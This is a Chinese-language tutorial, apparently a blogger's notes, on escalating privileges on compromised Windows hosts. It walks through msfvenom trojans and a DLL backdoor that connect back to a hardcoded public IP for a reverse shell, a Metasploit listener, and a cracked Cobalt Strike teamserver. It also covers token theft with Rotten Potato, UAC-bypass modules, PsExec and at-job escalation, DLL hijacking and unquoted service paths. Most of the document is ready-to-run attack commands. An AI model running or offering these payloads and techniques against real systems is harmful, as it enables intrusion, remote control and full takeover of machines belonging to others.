溢出漏洞
信息收集
操作系统版本 | ver,systeminfo |
漏洞补丁信息 | systeminfo |
操作系统位数 | systeminfo |
杀软防护 | tasklist /svc |
网络 | netstat -ano,ipconfig |
当前权限 | whoami |
筛选EXP
根据前面的信息收集中的系统版本,位数和补丁情况筛选出合适的EXP
提权
根据EXP,可以选择手工操作,基于CS的半自动操作,基于MSF的全自动操作
如果提权中遇到无法执行命令的情况,可以尝试上传cmd.exe来执行
手工
可以根据GitHub上的工具和公开的利用脚本进行渗透
MSF(搭建在云服务器)
在云服务器搭建msf的目的,因为我们进行渗透测试的目标不可能只在靶机,我们需要一个公网IP来完成,此外,云服务器需要开启相应的端口,否则不能收到反弹shell
我的服务器是腾讯云宝塔版本,还要关闭宝塔防火墙或者开启相应端口
在/opt下搭建msf命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
使用msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=43.139.79.52 lport=7777 -f exe -o test.exe
开启msf监听模块,模块的设置应与生成的木马一致
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7777
run
通过拿到的shell上传并执行木马
需要说的是,由于没有经过免杀处理,防火墙,杀毒软件等都会导致不能成功获得反弹shell
获得shell后,下一步就是利用msf来进行提权操作
background 将界面切换到后台,记住session id
use post/multi/recon/local_exploit_suggester 使用msf的提权模块
show options
set session 2
run
选择可用的漏洞模块,直接利用提权
use exploit/windows/local/bypassuac_fodhelper
show options
set session 2
run
CS
我的云服务器默认是没有Java环境的,所以还要先搭建Java环境
java环境搭建
yum安装 openjdk11
yum install -y java-11-openjdk
安装位置默认为/usr/lib/jvm/
,修改目录名
mv -v java-11-openjdk-11.0.12.0.7-0.el8_4.x86_64 jdk11
修改配置文件
vim /etc/profile
将光标移动到最后,在后面添加
export JAVA_HOME=/usr/lib/jvm/jdk11
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
立即生效
source /etc/profile
检测是否安装成功
java -version
CS搭建
这是我下载CS4.8破解版本的网站
如图,CS是一个多人协同的渗透工具,分为客户端和服务端,服务端可以有多个,多个攻击者连接在一个服务器上,共享攻击资源和目标信息,且拥有各种强大的功能
服务端搭建
上传CS到云服务器,这里用使用宝塔面板上传的方式
cd CobaltStrike4.8_www.ddosi.org/
cd Server/
chmod +x teamserver
./teamserver 43.139.79.52 yc ip为云主机IP,yc为连接密码
如图,CS服务端搭建成功
客户端搭建
运行cobaltstrike-client.cmd,连接远程服务端,搭建成功
at提权(win2003)
win2003中可以采用计划任务的方式进行提权,以普通用户的权限开启一个计划任务,system执行这个计划任务,就获取了system的权限
at 17:00 /interactive cmd
PsExec提权(win08,12,16)
PsExec.exe -accepteula -s -i -d cmd
,
MSF进程迁移注入(Win08,12,16)
通过msf拿到权限后,可以尝试migrate进程迁移,将进程迁移到拥有高权限的用户,实现提权的目的,这种方式利用系统的特性,不用上传文件,不会被杀毒软件等察觉
ps 查看进程
migrate PID 迁移到目标进程
令牌窃取
令牌就是系统的临时密钥,相当于账户名和密码,原来决定是否允许这次请求和判断是属于哪一个用户的,他允许你不提供密码或其他凭证的前提下访问网络和系统资源
getuid 查看当前用户
use incognito 使用令牌窃取模块
list_tokens -u 列出可用的令牌
impersonate_token 目标令牌 窃取目标令牌
whoami 查看当前用户
低权限用户可以借助烂土豆配合令牌窃取实现提权
execute -cH -f ./potato.exe
use incognito
list_tokens -u
impersonate_token
这里实际是利用烂2土豆这个溢出漏洞 ,使我们可以利用低权限来进行令牌窃取
msf直接提权
msf是一款强大的渗透测试工具,可以使用getsystem直接提权
getsystem
Bypass UAC
UAC即用户账户控制,为了上传的exe和bat程序等可绕过此安全机制,所以需要学习
UAC可以直接搜索msconfig>选择系统设置> 工具>更改UAC设置
默认是这个选项,当我们打开一个程序的时候,就会有弹窗提示程序尝试更改计算机
MSF的bypassUAC模块(win10以后不适用)
use exploit/windows/local/bypassuac
MSF的ask模块(需要目标点击)
use exploit/windows/local/ask
MSF绕过win10模块
use exploit/windows/local/bypassuac_sluihijack
UACMe
UACMe是GitHub绕过UAC的项目
hfiref0x/UACME: Defeating Windows User Account Control (github.com)
DLL劫持提权
Windows程序启动需要dll,如果dll不存在,Windows就会按照既定路线寻找,可以在他寻找的位置放恶意dll来提权
1、应用程序加载的目录
2、C:Windows/System32
3、C:Windows/System
4、Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
可以借助火绒剑来分析进程,并使用其他程序验证是否可以dll劫持
假如上面的文件可以被dll劫持,就可以把原来的dll文件删掉,使用msf生成一个和他名字相同的dll后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=43.139.79.52 lport=7777 -f dll -o VCRUNTIME140.dll
不带引号服务路径提权
在Windows系统中,带不带引号是很重要的,如下面这个程序
C:\Program Files\Dolby.exe
“C:\Program Files\Dolby”
如果不带引号,Files\Dolby被当成一个参数,我们前面说了程序文件寻找路径,那么只要我们在程序真正要寻找路径前放上我们的恶意程序,攻击目的就达成了
C:\Program.exe
当执行 C:\Program Files\Dolby.exe的时候,实际执行的其实是C:\Program.exe
检测工具:https://github.com/PowerShellMafia/PowerSploit
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
攻击流程:检测路径>制作文件并上传>更改路径指向>等待目标路径调用